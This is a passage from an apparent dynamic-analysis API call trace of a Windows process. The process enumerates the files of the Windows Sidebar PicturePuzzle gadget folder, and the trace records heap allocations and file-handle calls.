(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13214a8 [0090.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13215b0 [0090.114] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0090.114] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.114] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0090.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13216b8 [0090.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f28f8 [0090.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13217c0 [0090.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.117] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2918 [0090.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13218c8 [0090.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.118] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0090.118] GetLastError () returned 0x12 [0090.118] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.119] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0090.119] GetLastError () returned 0x12 [0090.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13215b0) returned 1 [0090.119] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13216b8) returned 1 [0090.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13214a8) returned 1 [0090.120] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.120] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13214a8 [0090.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.121] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.121] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.121] NtClose (Handle=0x15c) returned 0x0 [0090.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13214a8) returned 1 [0090.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13214a8 [0090.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13216b8 [0090.123] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.123] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.123] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0090.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13215b0 [0090.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2938 [0090.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13219d0 [0090.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.125] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2958 [0090.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321ad8 [0090.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.127] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0090.127] GetLastError () returned 0x12 [0090.127] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0090.127] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.127] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.127] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0090.127] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.127] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0090.127] GetLastError () returned 0x12 [0090.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13216b8) returned 1 [0090.127] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13215b0) returned 1 [0090.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13214a8) returned 1 [0090.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0090.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0090.129] GetLastError () returned 0x12 [0090.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320f80) returned 1 [0090.129] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1321088) returned 1 [0090.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320e78) returned 1 [0090.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0090.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320e78 [0090.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.130] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.131] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.131] NtClose (Handle=0x168) returned 0x0 [0090.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320e78) returned 1 [0090.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320e78 [0090.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321088 [0090.133] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.135] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0090.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320f80 [0090.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2978 [0090.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13214a8 [0090.137] RtlFreeHeap 